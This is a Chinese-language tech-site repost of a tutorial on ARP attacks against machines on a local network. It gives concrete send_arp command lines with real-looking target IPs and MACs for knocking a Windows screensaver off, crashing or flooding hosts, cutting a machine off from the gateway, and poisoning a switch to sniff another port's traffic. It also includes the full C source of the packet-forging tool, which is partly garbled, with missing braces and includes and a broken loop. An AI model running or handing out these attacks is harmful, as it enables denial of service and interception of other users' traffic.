当前位置: 移动技术网 > IT编程>开发语言 > 不错的一篇玩转arp的文章

不错的一篇玩转arp的文章

2017年12月01日  | 移动技术网IT编程  | 我要评论
以下讨论的机子有 一个要攻击的机子:10.5.4.178  硬件地址:52:54:4c:98:ee:2f 我的机子: :10.5.3.69 
以下讨论的机子有
一个要攻击的机子:10.5.4.178 
硬件地址:52:54:4c:98:ee:2f
我的机子: :10.5.3.69 
硬件地址:52:54:4c:98:ed:c5
网关: 10.5.0.3 
硬件地址:00:90:26:3d:0c:f3
一台交换机另一端口的机子:10.5.3.3
硬件地址:52:54:4c:98:ed:f7

一:用arp破windows的屏保
原理:利用ip冲突的级别比屏保高,当有冲突时,就会
跳出屏保。
关键:arp包的数量适当。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3d:0c:f3 
10.5.4.178 52:54:4c:98:ee:2f 40

二:用arp导致ip冲突,死机
原理:windows 9x,nt4在处理ip冲突时,处理不过来,导致死机。
注: 对windows 2k,linux相当于flooding,只是比一般的flooding
有效的多.对linux,明显系统被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3d:0c:f3 
10.5.4.178 52:54:4c:98:ee:2f 999999999

三:用arp欺骗网关,可导致局域网的某台机子出不了网关。
原理:用arp应答包去刷新对应着要使之出不去的机子。
[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4c:98:ee:22 
10.5.4.178 00:90:26:3d:0c:f3 1
注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的arp
高速缓存会被被攻击的机子正确刷新,于是只要...

四:用arp欺骗交换机,可监听到交换机另一端的机子。
可能需要修改一下send_arp.c,构造如下的数据包。
ethhdr
srchw:52:54:4c:98:ed:f7--->dsthw:ff:ff:ff:ff:ff:ff proto:806h
arphdr
hwtype:1 protol:800h hw_size:6 pro_size:4 op:1
s_ha:52:54:4c:98:ed:f7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交换机是具有记忆mac地址功能的,它维护一张mac地址和它的口号表
所以你可以先来个arp 欺骗,然后就可以监听了
不过需要指出,欺骗以后,同一个mac地址就有两个端口号
yuange说,“这样其实就是一个竞争问题。”
好象arp 以后,对整个网络会有点影响,不过我不敢确定
既然是竞争,所以监听也只能监听一部分,不象同一hub下的监听。
对被监听者会有影响,因为他掉了一部分数据。

当然还有其他一些应用,需要其他技术的配合。
以下是send_arp.c的源程序

/*
this program sends out one arp packet with source/target ip
and ethernet hardware addresses suuplied by the user. it 
compiles and works on linux and will probably work on any 
unix that has sock_packet. volobuev@t1.chem.umn.edu 
*/ 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define eth_hw_addr_len 6 
#define ip_addr_len 4 
#define arp_frame_type 0x0806 
#define ether_hw_type 1 
#define ip_proto_type 0x0800 
#define op_arp_request 2 
#define op_arp_quest 1
#define default_device "eth0" 
char usage[] = {"send_arp: sends out custom arp packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"}; 
struct arp_packet 

u_char targ_hw_addr[eth_hw_addr_len]; 
u_char src_hw_addr[eth_hw_addr_len]; 
u_short frame_type; 
u_short hw_type; 
u_short prot_type; 
u_char hw_addr_size; 
u_char prot_addr_size; 
u_short op; 
u_char sndr_hw_addr[eth_hw_addr_len]; 
u_char sndr_ip_addr[ip_addr_len]; 
u_char rcpt_hw_addr[eth_hw_addr_len]; 
u_char rcpt_ip_addr[ip_addr_len]; 
u_char padding[18]; 
}; 
void die (char *); 
void get_ip_addr (struct in_addr *, char *); 
void get_hw_addr (char *, char *); 
int main (int argc, char * argv[]) 

struct in_addr src_in_addr, targ_in_addr; 
struct arp_packet pkt; 
struct sockaddr sa; 
int sock; 
int j,number;
if (argc != 6) 
die(usage); 
sock = socket(af_inet, sock_packet, htons(eth_p_rarp)); 
if (sock < 0) 

perror("socket"); 
exit(1); 

number=atoi(argv[5]);
pkt.frame_type = htons(arp_frame_type); 
pkt.hw_type = htons(ether_hw_type); 
pkt.prot_type = htons(ip_proto_type); 
pkt.hw_addr_size = eth_hw_addr_len; 
pkt.prot_addr_size = ip_addr_len; 
pkt.op = htons(op_arp_quest); 
get_hw_addr(pkt.targ_hw_addr, argv[4]); 
get_hw_addr(pkt.rcpt_hw_addr, argv[4]); 
get_hw_addr(pkt.src_hw_addr, argv[2]); 
get_hw_addr(pkt.sndr_hw_addr, argv[2]); 
get_ip_addr(&src_in_addr, argv[1]); 
get_ip_addr(&targ_in_addr, argv[3]); 
memcpy(pkt.sndr_ip_addr, &src_in_addr, ip_addr_len); 
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, ip_addr_len); 
bzero(pkt.padding,18); 
strcpy(sa.sa_data,default_device); 
for (j=0;j {
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0) 

perror("sendto"); 
exit(1); 

}
exit(0); 

void die (char *str) 

fprintf(stderr,"%s ",str); 
exit(1); 

void get_ip_addr (struct in_addr *in_addr, char *str) 

struct hostent *hostp; 
in_addr->s_addr = inet_addr(str); 
if(in_addr->s_addr == -1)

if ((hostp = gethostbyname(str))) 
bcopy(hostp->h_addr, in_addr, hostp->h_length); 
else { 
fprintf(stderr, "send_arp: unknown host %s ", str); 
exit(1); 



void get_hw_addr (char *buf, char *str) 

int i; 
char c, val; 
for(i = 0; i < eth_hw_addr_len; i++) 

if (!(c = tolower(*str++))) 
die("invalid hardware address"); 
if (isdigit(c)) 
val = c - '0'; 
else if (c >= 'a' && c <= 'f') 
val = c-'a'+10; 
else 
die("invalid hardware address"); 
*buf = val << 4; 
if (!(c = tolower(*str++))) 
die("invalid hardware address"); 
if (isdigit(c)) 
val = c - '0'; 
else if (c >= 'a' && c <= 'f') 
val = c-'a'+10; 
else 
die("invalid hardware address"); 
*buf++ |= val; 
if (*str == ':') 
str++; 


如您对本文有疑问或者有任何想说的,请点击进行留言回复,万千网友为您解惑!

相关文章:

验证码:
移动技术网